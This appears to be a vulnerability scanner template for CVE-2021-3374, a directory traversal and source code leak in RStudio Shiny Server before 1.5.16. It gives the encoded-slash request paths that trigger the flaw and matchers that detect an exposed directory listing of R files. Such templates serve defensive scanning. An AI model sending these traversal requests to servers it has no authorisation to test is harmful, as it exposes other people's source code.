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id : CVE-2021-3374
info :
name : Rstudio Shiny Server Directory Traversal
author : geeknik
severity : medium
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description : Rstudio Shiny-Server prior to 1.5.16 is vulnerable to directory traversal and source code leakage. This can be exploited by appending an encoded slash to the URL.
reference :
- https://github.com/colemanjp/rstudio-shiny-server-directory-traversal-source-code-leak
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- https://github.com/colemanjp/shinyserver-directory-traversal-source-code-leak
- https://blog.rstudio.com/2021/01/13/shiny-server-1-5-16-update/
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
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cvss-score : 5.3
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cve-id : CVE-2021-3374
cwe-id : CWE-22
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tags : cve,cve2021,rstudio,traversal
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requests :
- method : GET
path :
- "{{BaseURL}}/%2f/"
- "{{BaseURL}}/sample-apps/hello/%2f/"
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "Index of /"
- type : regex
part : body
regex :
- "[A-Za-z].*\\.R"